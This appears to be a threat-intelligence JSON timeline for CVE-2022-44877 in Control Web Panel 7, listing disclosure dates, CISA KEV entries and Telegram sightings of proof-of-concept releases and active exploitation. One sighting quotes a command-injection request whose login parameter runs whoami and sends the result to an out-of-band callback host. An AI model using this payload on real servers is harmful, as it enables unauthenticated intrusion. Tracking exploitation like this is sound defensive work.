{"metadata": {"vulnerability": "CVE-2022-44877", "count": 89, "kinds": {"milestone": 4, "sighting": 60, "kev": 11, "other": 14}, "linked_omitted": 0}, "data": [{"timestamp": "2022-11-07T00:00:00Z", "date_only": false, "value": "2022-11-07T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2022-44877", "field": "cveMetadata.dateReserved"}, {"timestamp": "2023-01-05T00:00:00Z", "date_only": false, "value": "2023-01-05T00:00:00.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-44877", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2023-01-05T19:40:32Z", "date_only": false, "value": "2023-01-05T19:40:32.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/thebugbountyhunter/6905", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "dfd96818-318a-4fa9-adbb-def8cdd28555", "content": "Centos Web Panel 7 Unauthenticated Remote Code Execution - CVE-2022-44877\n\nhttps://github.com/numanturle/CVE-2022-44877", "url": "https://t.me/thebugbountyhunter/6905", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-05T23:15:00Z", "date_only": false, "value": "2023-01-05T23:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-FXW7-8R5Q-W2V4", "record": "GHSA-FXW7-8R5Q-W2V4", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2023-01-05T23:15:00Z", "date_only": false, "value": "2023-01-05T23:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2022-44877", "record": "GSD-2022-44877", "field": "namespaces.nvd.nist.gov.publishedDate", "linked_record": true}, {"timestamp": "2023-01-05T23:15:09.150Z", "date_only": false, "value": "2023-01-05T23:15:09.150", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-44877", "record": "FKIE_CVE-2022-44877", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2023-01-06T00:30:18Z", "date_only": false, "value": "2023-01-06T00:30:18Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-FXW7-8R5Q-W2V4", "record": "GHSA-FXW7-8R5Q-W2V4", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2023-01-06T02:19:20Z", "date_only": false, "value": "2023-01-06T02:19:20.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/56025", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "5a9a1542-1eb5-453c-9202-3706adfcbfc0", "content": "\u203c CVE-2022-44877 \u203c\n\nRESERVED An issue in the /login/index.php component of Centos Web Panel 7 before v0.9.8.1147 allows unauthenticated attackers to execute arbitrary system commands via crafted HTTP requests.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "url": "https://t.me/cibsecurity/56025"}, {"timestamp": "2023-01-06T08:11:28Z", "date_only": false, "value": "2023-01-06T08:11:28.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/1261", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "b20ad28f-4019-4a7b-8040-ede2f4996c44", "content": "CVE-2022-44877\nCentos Web Panel 7 Unauthenticated Remote Code Execution\ndownload\n\n#centos #rce", "url": "https://t.me/proxy_bar/1261", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-07T18:30:10Z", "date_only": false, "value": "2023-01-07T18:30:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/MrVGunz/647", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "be3bae59-ea43-4182-91c0-892694bfbc0f", "content": "CVE-2022-44877 : Centos Web Panel 7 - Unauthenticated Remote Code Execution \nPOC : https://github.com/numanturle/CVE-2022-44877", "url": "https://t.me/MrVGunz/647", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-08T18:21:47Z", "date_only": false, "value": "2023-01-08T18:21:47.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/proxy_bar/1271", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "7fb967a4-aaba-47f7-b3ca-361209b82295", "content": "CVE-2022-44877\nControl Web Panel Unauth RCE\nPOC usage:\nPOST /login/index.php?login=$(ping${IFS}-nc${IFS}2${IFS}`whoami`.{{interactsh-url}}) HTTP/1.1\nHost: vuln\nContent-Type: application/x-www-form-urlencoded\n\nusername=root&password=toor&commit=Login", "url": "https://t.me/proxy_bar/1271", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-10T05:13:06Z", "date_only": false, "value": "2023-01-10T05:13:06.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/7503", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "1f85fca9-3b83-45d5-8ef5-68cb8faedde1", "content": "#exploit\n1. CVE-2022-41076:\nThe OWASSRF + TabShell exploit chain\nhttps://blog.viettelcybersecurity.com/tabshell-owassrf\n]-> https://gist.github.com/testanull/518871a2e2057caa2bc9c6ae6634103e\n\n2. CVE-2022-3515/CVE-2022-47629:\nInteger overflow bug Libksba\u00a0library (x.509)\nhttps://github.com/elttam/publications/blob/master/writeups/CVE-2022-47629.md \n\n3. CVE-2022-44877:\nCentos Web Panel 7 Unauthenticated RCE\nhttps://github.com/numanturle/CVE-2022-44877", "url": "https://t.me/CyberSecurityTechnologies/7503", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-13T10:46:05Z", "date_only": false, "value": "2023-01-13T10:46:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/3934", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "d3dc6343-b881-4a1c-93e2-7cc57e669cf2", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f CVE-2022-44877 \u0441 \u043e\u0446\u0435\u043d\u043a\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438 9,8 \u0438\u0437 10, \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0432 Control Web Panel (\u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c \u043a\u0430\u043a CentOS Web Panel), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435.\n\n\u0412\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430\u044f \u043a\u0430\u043a \u0432\u0435\u0431-\u043f\u0430\u043d\u0435\u043b\u044c CentOS, \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0434\u043b\u044f \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c Linux.\n\n\u041e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f \u0434\u043e 0.9.8.1147 \u0438 \u0431\u044b\u043b\u0430\u00a0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430\u00a0\u0435\u0435 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u044e\u0449\u0438\u043c\u0438 25 \u043e\u043a\u0442\u044f\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430 \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u0435\u0442\u0430\u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0435 \u0432\u0445\u043e\u0434\u0430 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443.\n\n\u0421\u043e\u043e\u0431\u0449\u0438\u0432\u0448\u0438\u0439 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u00a0\u041d\u0443\u043c\u0430\u043d \u0422\u044e\u0440\u043b\u0435\u00a0\u0438\u0437 Gais Cyber Security 3 \u044f\u043d\u0432\u0430\u0440\u044f \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 (PoC) \u0438 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0432\u0438\u0434\u0435\u043e\u0440\u043e\u043b\u0438\u043a, \u0430 \u0442\u0440\u0438 \u0434\u043d\u044f \u0441\u043f\u0443\u0441\u0442\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Shadowserver Foundation \u0438\u00a0GreyNoise \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u043f\u0440\u0438\u043d\u044f\u043b\u0438\u0441\u044c \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\n\u0412 Shadowserver \u0437\u0430\u044f\u0432\u0438\u043b\u0438, \u0447\u0442\u043e \u00ab\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0442\u0440\u0438\u0432\u0438\u0430\u043b\u044c\u043d\u0430\u00bb.\n\n\u041f\u043e \u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u043c, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0445\u043e\u0434\u044f\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0445\u043e\u0441\u0442\u044b \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 CVE-2022-44877 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430 \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0440\u0443\u0433\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u0431\u044b\u043b\u0438 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u043d\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u043c\u0430\u0448\u0438\u043d.\n\nGreyNoise \u0437\u0430\u044f\u0432\u0438\u043b\u0430, \u0447\u0442\u043e \u0438\u043c\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043e\u00a0\u0447\u0435\u0442\u044b\u0440\u0435 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u043f\u044b\u0442\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c CVE-2022-44877, \u0434\u0432\u0430 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 - \u0432 \u0421\u0428\u0410 \u0438 \u043f\u043e \u043e\u0434\u043d\u043e\u043c\u0443 - \u0432 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u0430\u0445 \u0438 \u0422\u0430\u0438\u043b\u0430\u043d\u0434\u0435.\n\n\u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u0441\u0435 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u044b \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u043c \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u043c PoC, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0441\u043b\u0435\u0433\u043a\u0430 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d \u0434\u043b\u044f \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u0447 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430.\n\n\u0412 \u0441\u0432\u044f\u0437\u0438 \u0441 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0435\u0439 \u0432 \u0434\u0438\u043a\u043e\u0439 \u043f\u0440\u0438\u0440\u043e\u0434\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c CWP \u0434\u043e\u00a0\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438, \u0432 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f 0.9.8.1148, \u0432\u044b\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 1 \u0434\u0435\u043a\u0430\u0431\u0440\u044f 2022 \u0433\u043e\u0434\u0430.", "url": "https://t.me/true_secator/3934", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-13T11:15:59Z", "date_only": false, "value": "2023-01-13T11:15:59.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cKure/10601", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "357fe18c-c90e-45b2-a19b-c1d6a7b2a294", "content": "\u25a0\u25a0\u25a0\u25a0\u25a1 \ud83d\udce2 CVE-2022-44877: Vulnerability with 9.8 severity in Centos Web Panel 7.0 is under active exploit.\n\nIt is an unauthenticated RCE.\n\nhttps://arstechnica.com/information-technology/2023/01/vulnerability-with-9-8-severity-in-control-web-panel-is-under-active-exploit/", "url": "https://t.me/cKure/10601", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-13T21:10:31Z", "date_only": false, "value": "2023-01-13T21:10:31.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/xakep_ru/13470", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "e0d7da86-fc83-4d2b-9f09-9f727cebdb67", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 Control Web Panel \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0440\u0435\u0432\u0435\u0440\u0441-\u0448\u0435\u043b\u043b\u043e\u0432\n\n\u0418\u0411-\u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0430\u0442\u0430\u043a\u0443\u044e\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-44877 (9,8 \u0431\u0430\u043b\u043b\u0430 \u0438\u0437 10 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS), \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0443\u044e \u0432 Control Web Panel (CWP), \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438, \u0440\u0430\u043d\u0435\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u043c \u043a\u0430\u043a CentOS Web Panel.\n\nhttps://xakep.ru/2023/01/13/cwp-attacks/", "url": "https://t.me/xakep_ru/13470", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-14T10:56:27Z", "date_only": false, "value": "2023-01-14T10:56:27.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ctinow/86963", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "03e41d23-1787-41fc-baa7-a37c8bfee294", "content": "Control Web Panel Vulnerability, CVE-2022-44877, Actively Exploited in the Wild\n\nhttps://ift.tt/EAY3VUu", "url": "https://t.me/ctinow/86963", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-14T13:46:42Z", "date_only": false, "value": "2023-01-14T13:46:42.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ctinow/86969", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "b7a66f8a-3253-4848-b552-50a68c72de5d", "content": "Control Web Panel Vulnerability, CVE-2022-44877, Actively Exploited in the Wild - Security Boulevard\n\nhttps://ift.tt/EAY3VUu", "url": "https://t.me/ctinow/86969", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-15T09:51:24Z", "date_only": false, "value": "2023-01-15T09:51:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CNArsenal/398", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "d4ef0612-6793-49a0-b044-82af1d624153", "url": "https://t.me/CNArsenal/398", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-15T13:34:14Z", "date_only": false, "value": "2023-01-15T13:34:14.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/crackcodes/2143", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "2ab30568-ecf3-4eb9-90fe-fb8b979ca07c", "content": "#exploit\n1. The OWASSRF + TabShell exploit chain\nhttps://blog.viettelcybersecurity.com/tabshell-owassrf\n\n2. CVE-2022-3515/CVE-2022-47629:\nInteger overflow bug Libksba\u00a0library (x.509)\nhttps://github.com/elttam/publications/blob/master/writeups/CVE-2022-47629.md \n\n3. CVE-2022-44877:\nCentos Web Panel 7 Unauthenticated RCE\nhttps://github.com/numanturle/CVE-2022-44877", "url": "https://t.me/crackcodes/2143"}, {"timestamp": "2023-01-16T13:26:13Z", "date_only": false, "value": "2023-01-16T13:26:13.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/Web_Security_Live/54", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "b18f58ea-74fd-4fb4-b233-93d01fa4ad24", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Contol Panel \u2014 CVE-2022-44877\n\n9,8/10 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS. \n3 \u044f\u043d\u0432\u0430\u0440\u044f 2023 \u0433\u043e\u0434\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b Gais Cyber   Security \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0435 \u0432 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434 \u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 PoC-\u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\u0422\u0440\u0438 \u0434\u043d\u044f \u0441\u043f\u0443\u0441\u0442\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0437\u0430\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0445\u0430\u043a\u0435\u0440\u044b \u0443\u0436\u0435 \u0432\u0437\u044f\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 \u0432\u043e\u043e\u0440\u0443\u0436\u0435\u043d\u0438\u0435, \u0442\u0430\u043a \u043a\u0430\u043a \u0441 \u0435\u0435 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b.\n\nCVE-2022-44877 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0435 \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430, \u0432 \u0441\u043e\u0441\u0442\u0430\u0432\u0435 CWP 0.9.8.1147.\n\n\ud83d\udd18 https://t.me/web_security_live", "url": "https://t.me/Web_Security_Live/54", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-17T00:00:00Z", "date_only": false, "value": "2023-01-17T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2022-44877", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "8419ae1b-d239-4b01-a77a-b24315ae92fb", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-17T00:00:00Z", "date_only": false, "value": "2023-01-17T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2022-44877", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "6ae0779e-372e-4ea3-8d9d-1c86e93d5771", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-17T00:00:00Z", "date_only": true, "value": "2023-01-17", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-44877", "field": "containers.adp.1.metrics.2.other.content.dateAdded"}, {"timestamp": "2023-01-17T00:00:00Z", "date_only": false, "value": "2023-01-17T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2022-44877", "field": "evidence.0.details.added_date", "uuid": "6ae0779e-372e-4ea3-8d9d-1c86e93d5771", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-17T00:00:00Z", "date_only": true, "value": "2023-01-17", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2022-44877", "field": "evidence.0.details.date_added", "uuid": "8419ae1b-d239-4b01-a77a-b24315ae92fb", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-17T00:00:00Z", "date_only": false, "value": "2023-01-17T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2022-44877", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "8419ae1b-d239-4b01-a77a-b24315ae92fb", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-17T00:00:00Z", "date_only": false, "value": "2023-01-17T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2022-44877", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "uuid": "6ae0779e-372e-4ea3-8d9d-1c86e93d5771", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-17T00:00:00Z", "date_only": false, "value": "2023-01-17T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2022-44877", "field": "status.status_updated_at", "uuid": "8419ae1b-d239-4b01-a77a-b24315ae92fb", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-17T00:00:00Z", "date_only": false, "value": "2023-01-17T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2022-44877", "field": "status.status_updated_at", "uuid": "6ae0779e-372e-4ea3-8d9d-1c86e93d5771", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2023-01-17T00:00:00Z", "date_only": false, "value": "2023-01-17T00:00:00.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-44877", "field": "containers.adp.1.timeline.0.time", "text": "CVE-2022-44877 added to CISA KEV"}, {"timestamp": "2023-01-17T00:38:49Z", "date_only": false, "value": "2023-01-17T00:38:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/LearnExploit/4535", "record": "CVE-2022-44877", "field": "creation_timestamp", "uuid": "c47e660a-1d55-4cf8-ac04-f24e6294ff7d", "content": "CVE-2022-44877 \n\nCentos Web Panel 7 Unauthenticated Remote Code Execution \n\nGithub \n\n#rce\n\u2014\u2014\u2014\u2014\u2014\u2014\u200c\n0Day.Today\n@LearnExploit\n@Tech_Army", "url": "https://t.me/LearnExploit/4535", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2023-01-17T00:38:51Z", "date_only": false, "value": 